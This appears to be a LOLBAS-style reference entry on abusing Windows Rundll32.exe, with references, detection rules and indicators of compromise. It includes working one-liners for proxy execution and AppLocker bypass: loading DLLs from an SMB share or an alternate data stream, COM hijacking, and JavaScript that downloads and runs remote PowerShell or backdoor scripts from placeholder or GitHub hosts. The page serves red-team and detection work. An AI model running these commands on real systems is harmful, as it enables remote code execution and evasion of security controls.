.. /Rundll32.exe

Execute (DLL) | Alternate data streams (DLL)

Used by Windows to execute dll files

Paths:
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe

Resources:
- https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
- https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
- https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
- https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
- https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
- https://github.com/sailay1996/expl-bin/blob/master/obfus.md
- https://github.com/sailay1996/misc-bin/blob/master/rundll32.md
- https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90
- https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code

Acknowledgements:
- Casey Smith (@subtee)
- Oddvar Moe (@oddvarmoe)
- Jimmy (@bohops)
- Sailay (@404death)
- Martin Ingesen (@Mrtn9)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml
- IOC: Outbount Internet/network connections made from rundll32
- IOC: Suspicious use of cmdline flags such as -sta

Execute

. AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.

```
rundll32.exe AllTheThingsx64,EntryPoint
```

Use case: Execute dll file
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.011
Tags: Execute: DLL

. Use Rundll32.exe to execute a DLL from a SMB share. EntryPoint is the name of the entry point in the .DLL file to execute.

```
rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint
```

Use case: Execute DLL from SMB share.
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.011
Tags: Execute: DLL

. Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object
Net.WebClient).DownloadString('http://ip:port/');")
```

Use case: Execute code from Internet
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.011

. Use Rundll32.exe to execute a JavaScript script that runs calc.exe.

```
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication
";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
```

Use case: Proxy execution
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.011

. Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText
;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
```

Use case: Proxy execution
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.011

. Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-
Backdoor/master/test")
```

Use case: Execute code from Internet
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.011

. Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

```
rundll32.exe -sta {CLSID}
```

Use case: Execute a DLL/EXE COM server payload or ScriptletURL code.
Privileges required: User
Operating systems: Windows 10 (and likely previous versions), Windows 11
ATT&CK® technique: T1218.011
Tags: Execute: DLL

Alternate data streams

Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

```
rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
```

Use case: Execute code from alternate data stream
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1564.004
Tags: Execute: DLL